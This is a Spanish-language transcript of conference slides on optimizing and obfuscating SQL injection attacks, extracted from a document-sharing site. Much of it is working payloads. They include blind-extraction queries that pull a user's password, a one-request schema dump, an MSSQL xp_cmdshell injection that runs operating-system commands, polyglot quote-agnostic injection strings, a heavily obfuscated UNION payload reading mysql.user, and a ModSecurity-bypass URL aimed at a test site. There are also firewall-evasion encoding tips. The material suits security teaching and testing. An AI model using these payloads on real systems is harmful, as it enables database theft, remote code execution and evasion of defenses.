Nuevas tecnicas de optimización y ofuscacion
Transcript of Nuevas tecnicas de optimización y ofuscacion
![Page 1: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/1.jpg)
Técnicas de Optimización y Ofuscación
![Page 2: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/2.jpg)
IndicéOptimización•Reducir el numero de peticiones •Reducir el tamaño de las peticiones
Ofuscación•Retos de SQLi•Evadir Firewalls•Diversión con codificaciones
Leapfrog•SQLi•LFI•XSS
![Page 3: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/3.jpg)
Exploits de una mama
Como prevenir Inyecciones de SQL?http://www.bobby-tables.com
http://xkcd.com/327/
![Page 4: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/4.jpg)
OPTIMIZACION
![Page 6: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/6.jpg)
Análisis de métodos•Bisección•Bitwise•Regex•Binario a posición (Bin2Pos)
OPTIMIZACIONInyección de SQL a Ciegas
![Page 7: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/7.jpg)
Recordatorio•Solo podemos obtener 1 carácter a la vez•Testeamos si tenemos el carácter correcto con respuestas “True” o “False”
Ejemplo•SELECT * FROM users WHERE id=1 AND 1=1•SELECT * FROM users WHERE id=1 AND 1=2
OPTIMIZACIONInyección de SQL a Ciegas
![Page 8: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/8.jpg)
OPTIMIZACIONTabla ASCII
![Page 9: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/9.jpg)
OPTIMIZACIONTabla ASCII
Cada character ASCII puede ser representado con 1 byte o 8 bits
Caracter a
Binario (base 2) 01100001
Octal (base 8) 141
Decimal (base 10) 97
Hexadecimal (base 16) 61
![Page 10: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/10.jpg)
El octavo bit del carácter ASCII que nos interesa siempre será 0
OPTIMIZACIONTabla ASCII
Decimal Hexadecimal Binario0 00 00000000
127 7F 01111111
255 FF 11111111
El rango ASCII que nos interesaDecimal Hexadecimal Binario
0 00 00000000
127 7F 01111111
![Page 11: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/11.jpg)
• Algoritmo de búsqueda binaria
• ASCII rango 32 – 126
• Se divide la mitad: (32 + 126) / 2 = 79
• El valor es mayor o menor?
• Se divide la mitad nuevamente y se repite el proceso
OPTIMIZACIONMétodo Bisección
![Page 12: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/12.jpg)
a = 97 decimal
OPTIMIZACIONMétodo Bisección
97 entre 79 y 126 True (32 + 126) / 2 = 79
97 entre 79 y 103 True (79 + 126) / 2 = 102.5
97 entre 79 y 91 False (79 + 103) / 2 = 91
97 entre 91 y 103 True (91 + 103) / 2 = 97
97 entre 91 y 97 True (91 + 97) / 2 = 95
97 entre 91 y 95 False (95 + 97) / 2 = 96
97 entre 95 y 97 True 97 != 9697 == 97
![Page 13: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/13.jpg)
• Cada carácter ASCII puede ser representado en 1 byte o 8 bits
• El octavo bit del rango ASCII de los caracteres que nos interesa siempre es 0
• El numero de peticiones siempre será 7
OPTIMIZACIONMétodos Bitwise
![Page 14: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/14.jpg)
OPTIMIZACIONMétodos Bitwise
01100001 >> 7 00000000 001100001 >> 6 00000001 101100001 >> 5 00000011 301100001 >> 4 00000110 601100001 >> 3 00001100 1201100001 >> 2 00011000 2401100001 >> 1 00110000 4801100001 >> 0 01100001 97
"Faster Blind MySQL Injection Using Bit Shifting" - Por Jelmer de Hen
![Page 15: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/15.jpg)
OPTIMIZACIONMétodos Bitwise
a = 97 dec = 01100001
(97 >> 7) = 0 1 o 0 1
(97 >> 6) = 0 1 o 0 0
(97 >> 5) = 2 010 o 011 0
(97 >> 4) = 6 0110 o 0111 1
"Faster Blind MySQL Injection Using Bit Shifting" - Por Jelmer de Hen
![Page 16: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/16.jpg)
OPTIMIZACIONMétodos Bitwise
"Faster Blind MySQL Injection Using Bit Shifting" - Por Jelmer de HenPros:•La cantidad de peticiones es consistente
Contras:•Siempre usa 7 peticiones•Implementacion rara•No soporta hilos
![Page 17: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/17.jpg)
OPTIMIZACIONMétodos Bitwise
a = 97 dec = 01100001
substr(bin(97>>7),-1,1) 1 o 0 0
substr(bin(97>>6),-1,1) 1 o 0 1
substr(bin(97>>5),-1,1) 1 o 0 1
substr(bin(97>>4),-1,1) 1 o 0 0
"Faster Blind MySQL Injection Using Bit Shifting" – Mi variacion
![Page 18: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/18.jpg)
OPTIMIZACIONMétodos Bitwise
"Faster Blind MySQL Injection Using Bit Shifting" – Mi variacionPros:•La cantidad de peticiones es consistente•Hilos
Contras:•Siempre usa 7 peticiones
![Page 19: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/19.jpg)
OPTIMIZACIONMétodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001
97 & 2 00000010
97 & 4 00000100
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura
![Page 20: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/20.jpg)
OPTIMIZACIONMétodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010
97 & 4 00000100
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura
![Page 21: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/21.jpg)
OPTIMIZACIONMétodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura
![Page 22: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/22.jpg)
OPTIMIZACIONMétodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100 0
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura
![Page 23: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/23.jpg)
OPTIMIZACIONMétodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100 0
97 & 8 00001000 0
"Bit ANDing" - Por Ruben Ventura
![Page 24: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/24.jpg)
"Bit ANDing" - Por Ruben Ventura
OPTIMIZACIONMétodos Bitwise
Pros:•La cantidad de peticiones es consistente•Hilos
Contras:•Siempre usa 7 peticiones
![Page 25: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/25.jpg)
OPTIMIZACIONMétodos Bitwise
a = 97 dec = 01100001
substr(bin(97),1,1) 1100001 1
substr(bin(97),2,1) 1100001 1
substr(bin(97),3,1) 1100001 0
substr(bin(97),4,1) 1100001 0
"Bit Substringing" - Por Keith Makan
![Page 26: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/26.jpg)
"Bit Substringing" - Por Keith Makan
OPTIMIZACIONMétodos Bitwise
Pros:•La cantidad de peticiones es consistente•Hilos
Contras:•Siempre usa 7 peticiones
![Page 27: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/27.jpg)
“Regex method” - Por Simone 'R00T_ATI' Quatrini y Marco 'white_sheep' Rondini
OPTIMIZACIONMétodo Regex
REGEXP '^[a-z]' True
REGEXP '^[a-n]' True
REGEXP '^[a-g]' False
REGEXP '^[h-n]' True
REGEXP '^[h-l]' False
![Page 28: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/28.jpg)
“Regex method” - Por Simone 'R00T_ATI' Quatrini y Marco 'white_sheep' Rondini
OPTIMIZACIONMétodo Regex
Pros:•No se tiene que convertir a decimal
Contras:•Requiere comillas
![Page 29: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/29.jpg)
• Requiere una lista de los caracteres posibles (32 – 126 decimal)
• Entre mas cerca este el carácter al inicio de la lista, menos cantidad de peticiones son requeridas
• Podemos ordenar la lista de caracteres por las letras mas frecuentes del idioma
OPTIMIZACION Método Bin2Pos
![Page 30: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/30.jpg)
• Relacionar el carácter con su posición en la lista
• Convertir esta posición a binario
• Hemos reducido la cantidad de caracteres a buscar a 2 (0 y 1)
OPTIMIZACION Método Bin2Pos
![Page 31: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/31.jpg)
• Nuestra lista (sin mayúsculas) – abcdefghijklmnopqrstuvwxyz _0123456789,.<>/?;:\'"[{]}\|=+-)(*&^%$#@!`~
• Lista hexadecimal– 0123456789ABCDEF
• La lista mas grande tiene 94 caracteres– BIN(1) = 1– BIN(94) = 1011110
OPTIMIZACION Método Bin2Pos
![Page 32: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/32.jpg)
OPTIMIZACION Método Bin2Pos
IF((@a:=MID(BIN(POSITION(MID((SELECT password from users where
id=2 LIMIT 1),1,1)IN CHAR(48,49,50,51,52,53,54,55,56,5
7,65,66,67,68,69,70))),1,1))!=space(0),2-@a,0/0)
![Page 33: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/33.jpg)
OPTIMIZACION Método Bin2Pos
• a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,
![Page 34: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/34.jpg)
OPTIMIZACION Método Bin2Pos
• “C” es la 3era posición en la lista, que equivale a 11 en binario
• El 11 tiene 6 ceros a su izquierda: 00000011• Nuestra petición empieza con el primer 1• Por lo mismo, el primer numero siempre será 1
![Page 35: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/35.jpg)
OPTIMIZACION Método Bin2Pos
Obteniendo 11
•Sabemos que el primer digito es 1•No requiere petición•El segundo digito es 1?•Si•El tercer digito es 1?•No, el tercer digito no existe
•Numero total de peticiones para “C”: 2
![Page 36: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/36.jpg)
OPTIMIZACION Método Bin2Pos
Pros:•Muy pocas peticiones•No es fácil de entender
Contras:•Requieres 2 paginas diferentes•Entre mas grande la lista, mas peticiones son requeridas
![Page 37: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/37.jpg)
OPTIMIZACION Comparación de Métodos
![Page 38: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/38.jpg)
OPTIMIZACION Comparación de Métodos
DEMO
![Page 39: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/39.jpg)
OPTIMIZANDO CONSULTAS
![Page 40: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/40.jpg)
Obtener todas las bases de datos, tablas y columnas con solo una petición
OPTIMIZANDO CONSULTASMySQL
![Page 41: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/41.jpg)
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM
(information_schema.columns) WHERE (table_schema>=@) AND (@)IN
(@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
OPTIMIZANDO CONSULTASMySQL
![Page 42: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/42.jpg)
Una consulta para ejecución de código remota
•Checa si xp_cmdshell esta cargado
•Si esta cargado, checa si esta activo
•Corre el comando 'dir' y guarda el resultado en la tabla TMP_DB
OPTIMIZANDO CONSULTASMSSQL
![Page 43: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/43.jpg)
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a
varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int,
run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a=''
SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO
TMP_DB--
OPTIMIZANDO CONSULTASMSSQL
![Page 44: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/44.jpg)
• Las pruebas pueden llegar a ser tedioso
• Inyecciones de SQL pueden usar comillas, comillas dobles o no tener comillas
• 400+ parámetros por modulo?!?!
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
![Page 45: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/45.jpg)
Mínimo 3 pruebas diferentes por parámetro:
•OR 1=1
•OR '1'='1
•OR “1”=“1
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
![Page 46: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/46.jpg)
Que tal si los fusionamos?
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
![Page 47: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/47.jpg)
Que tal si los fusionamos?
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
![Page 48: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/48.jpg)
Que tal si los fusionamos?
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas• Doble comillas
![Page 49: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/49.jpg)
Que tal si los fusionamos?
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas• Doble comillas• Comillas simples
![Page 50: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/50.jpg)
Que tal AND?
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
- !=0--+"!="'!='
![Page 51: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/51.jpg)
Que tal AND?
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
- !=0--+"!="'!='
• Sin comillas
![Page 52: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/52.jpg)
Que tal AND?
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
- !=0--+"!="'!='
• Sin comillas• Doble comillas
![Page 53: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/53.jpg)
Que tal AND?
OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
- !=0--+"!="'!='
• Sin comillas• Doble comillas• Comillas simples
![Page 54: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/54.jpg)
OFUSCACION
![Page 55: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/55.jpg)
OFUSCACIONQue es?
![Page 56: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/56.jpg)
OFUSCACIONQue es?
![Page 57: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/57.jpg)
OFUSCACIONComo Confundir al Admin
UNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO frOM`information_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere !FAlSE||tRue&&FalSe||FalsE&&TrUE
like TruE||FalSE union/*!98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(`username`)``from(users)whErE(username)like'admin'limi
t 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnION SeleCt(selEct(sELecT/*!67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOM information_schema.statistics WhERE
TABLe_SCHEmA In(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoM information_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select
(collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from(@@version))),floor(pi()),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351,
ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53),0x4C696768744F53)FROM floor(version()) FOR ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),! !
true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-
floor(pi()))),0x6d7973716c))from(select--(select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*!$*/from(select+3.``)000oOOO0Oo0OOooOooOoO00Oooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*!
76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(`user`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLECT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroM InFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO
UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)
![Page 58: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/58.jpg)
EVADIENDO FIREWALLS
![Page 59: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/59.jpg)
EVADIENDO FIREWALLSTips Generales
• Simple casi siempre es mejor
• Lea la documentación para el comportamiento inesperado y rarezas
• Aprende de que es capaz el sistema de base de datos y lo que puede manejar
![Page 60: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/60.jpg)
OFUSCACIONFuzzer Sencillo en PHP
<?php$link = mysql_connect('localhost', 'root', '');for($i=0; $i<=255; $i++) {
$query = mysql_query("SELECT 1 FROM dual WHERE 1" . chr($i) . "=1");
if(!$query) {continue;
}
echo $i . ':0x' . dechex($i) . ':' . chr($i) . '<br>';
}?>
![Page 61: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/61.jpg)
OFUSCACIONFuzzer Sencillo en PHP
![Page 62: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/62.jpg)
OFUSCACIONEspacios Validos
SQLite3- 0A, 0D, 0C, 09, 20
MySQL- 09, 0A, 0B, 0C, 0D, A0, 20
MSSQL- 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 25
![Page 63: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/63.jpg)
EVADIENDO FIREWALLSTips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple– CASE WHEN TRUE THEN TRUE END
- UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
![Page 64: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/64.jpg)
EVADIENDO FIREWALLSTips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple– CASE WHEN TRUE THEN TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
![Page 65: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/65.jpg)
EVADIENDO FIREWALLSTips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple– CASE WHEN (SELECT TRUE) THEN TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
![Page 66: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/66.jpg)
EVADIENDO FIREWALLSTips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple– CASE WHEN (SELECT TRUE FROM dual) THEN TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
![Page 67: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/67.jpg)
EVADIENDO FIREWALLSTips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple– CASE WHEN (SELECT TRUE FROM dual) THEN TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
![Page 68: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/68.jpg)
EVADIENDO FIREWALLSTips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple– CASE WHEN (SELECT TRUE FROM`dual`) THEN TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
![Page 69: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/69.jpg)
EVADIENDO FIREWALLSTips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple– CASE WHEN (SELECT(TRUE)FROM`dual`) THEN TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
![Page 70: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/70.jpg)
EVADIENDO FIREWALLSRetos de SQLi
Modsecurityhttp://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=-2%20div%201%20union%20all%23in%0A%23between%20comments%0A23in%0A%23between%20comments%0A%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
![Page 71: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/71.jpg)
EVADIENDO FIREWALLSCodificaciones
• URL encode• Double URL encode• Unicode encode• Short UTF8• Long UTF8• First Nibble• Second Nibble• Double Nibble• Invalid Hex
![Page 72: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/72.jpg)
EVADIENDO FIREWALLS – CodificacionesURL Encode
• URL Encoding se usa para transformar caracteres “especiales” para que se puedan mandar por HTTP
• Los caracteres son transformados en su equivalente hexadecimal, con el % (signo de porcentaje) de prefijo
• a = %61
![Page 73: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/73.jpg)
EVADIENDO FIREWALLS – CodificacionesDouble URL Encode
• Double URL encode es el proceso de re-codificar el % (signo de porcentaje)
• a = %61
• %61 = %2561
![Page 74: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/74.jpg)
